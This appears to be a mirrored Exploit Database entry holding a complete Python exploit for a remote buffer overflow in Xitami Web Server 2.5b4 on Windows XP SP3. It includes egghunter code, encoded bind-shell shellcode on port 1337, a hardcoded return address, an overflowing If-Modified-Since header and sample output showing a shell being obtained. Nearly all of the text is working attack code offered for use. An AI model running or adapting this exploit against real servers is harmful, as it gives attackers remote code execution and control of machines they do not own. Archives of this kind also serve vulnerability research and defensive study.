Xitami Web Server 2.5b4 – Remote Buffer Overflow (Egghunter)

Exploit Database
128 阅读

作者： Glafkos Charalambous

日期： 2011-06-04
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17361/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

# Exploit Title: Xitami Web Server 2.5 Remote Buffer Overflow (Egghunter)

# Date: June 4, 2011

# Author: Glafkos Charalambous

# Version: 2.5b4

# Tested on: Windows XP SP3 En

# Discovered by: Krystian Kloskowski

# root@bt:~/Desktop# python xitami.py 192.168.0.24 80

# [+] Connected

# [+] Sending payload...

# [+] Check Port 1337 for your shell

# root@bt:~/Desktop# telnet 192.168.0.24 1337

# Trying 192.168.0.24...

# Connected to 192.168.0.24.

# Escape character is '^]'.

# Microsoft Windows XP [Version 5.1.2600]

# C:\Xitami>ipconfig

# ipconfig

# Windows IP Configuration

# Ethernet adapter Local Area Connection:

#Connection-specific DNS Suffix. :

#IP Address. . . . . . . . . . . . : 192.168.0.24

#Subnet Mask . . . . . . . . . . . : 255.255.255.0

#Default Gateway . . . . . . . . . : 192.168.0.1

# C:\Xitami>

import time

import socket

import sys

if len(sys.argv) != 3:

print "Usage: ./xitami.py <Target IP> <Target Port>"

sys.exit(1)

target = sys.argv[1]

port = int(sys.argv[2])

egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"

"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"

"w00t" # 4 byte tag

"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

# ./msfpayload windows/shell_bind_tcp lport=1337 exitfunc=process R | ./msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -c 7 -t c

shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"

"\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08"

"\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e"

"\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc"

"\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd"

"\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd"

"\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48"

"\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67"

"\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2"

"\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde"

"\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4"

"\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8"

"\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60"

"\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c"

"\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2"

"\x6b\x06\xb4\x92\x1f\x90\x26\x1a\x4f\x3d\x18\xa2\x3c\x72\x0f"

"\x93\x37\xf7\xf3\x5a\x7f\x33\xbf\x9f\xc2\xea\xb9\x13\x6c\x77"

"\xb6\xd4\xc0\x37\x86\x78\xd3\x86\x8c\x9f\x3a\x0f\xb1\x5e\x0f"

"\xb9\x09\xf1\x0c\xe9\x2f\xb7\xd7\xea\x37\x4f\x6a\xc3\xdb\x7b"

"\x48\x32\x05\xd4\x48\xcc\x47\x59\x41\xc5\x0b\xf5\x02\xeb\x06"

"\x7f\xae\x25\x2b\x16\x2d\x51\x18\x91\x9c\x96\x32\x17\x1c\x6e"

"\x95\xb9\x4e\xf5\xa6\x29\x8b\x30\x48\x07\x55\xf1\xe4\xa8\xe2"

"\x4d\xe0\x6a\xef\xd3\x4e\x07\x4d\xb2\x25\xe0\xb2\x33\x1b\xdc"

"\x50\xac\x59\x35\xd9\x91\x9c\x44\x5a\xc1\x52\x19\x0f\x03\xc9"

"\x1d\x71\xe5\x79\x54\x3d\xc0\x87\x4d\x9f\x9d\x69\x09\xd4\x6b"

"\xe2\xa5\xe0\x77\xd0\xb9\xbd\x85\xd0\x35\xcb\x59\x78\x22\xf2"

"\x25\x78\x64\xf6\x2a\x8d\x3e\xc8\xce\x7c\x6f\x64\x24\xb4\x2c"

"\x14\xd5\xff\x9c\x84\x40\xf1\x74\xcf\x3c\x4f\xac\x2c\xe2\xae"

"\xaa\xaf\xb0\xcf\xc8\x31\x30\xb3\xb0\x8b\x08\x25\x2d\x95\x3d"

"\xf5\x0c\x1f\x23\xd9\x87\x31\x79\xd2\x8d\xad\x59\xdd\xb0\x4c"

"\xa4\x17\xeb\x97\xb0\x90\x3c\x45\xb7\x3f\x2b\x04\xf3\xc6\xe8"

"\x56\x25\x7a\xfd\x6e\x3b\xef\x64\x14\x9b\x67\x08\x9c\x47\x73"

"\x24\x1e\x1e\xc6\xd2\xad\xcc\x0c\xc8\xbb\x4e\x12\xde\xf5\x35"

"\x25\xe0\xb0\xef\x04\xb5\x29\x62\xc6\x56\x44\x52\x16\xa3\x63"

"\x63\xcd\xd1\xc9\x45\x87\x3b\xd6\x4b\x7a\x24\xd5\xd4\x7d\x4c"

"\x83\x06\x16\x88\x7f")

jump = "\xeb\x22" # short jump

buf = "A" * 72

buf += "\xD7\x30\x9D\x7C" # jmp esp (user32.dll) / XP SP3 English

buf += jump

buf += "\x90" * 50

buf += egghunt

buf += "w00tw00t" # tag

buf += shellcode

header = (

'GET / HTTP/1.1\r\n'

'Host: %s\r\n'

'If-Modified-Since: pwned, %s\r\n'

'\r\n') % (target, buf)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.connect((target, port))

print "[+] Connected"

except:

print "[!] Connection Failed"

sys.exit(0)

print "[+] Sending payload..."

s.send(header)

time.sleep(1)

s.close()

print "[+] Check port 1337 for your shell"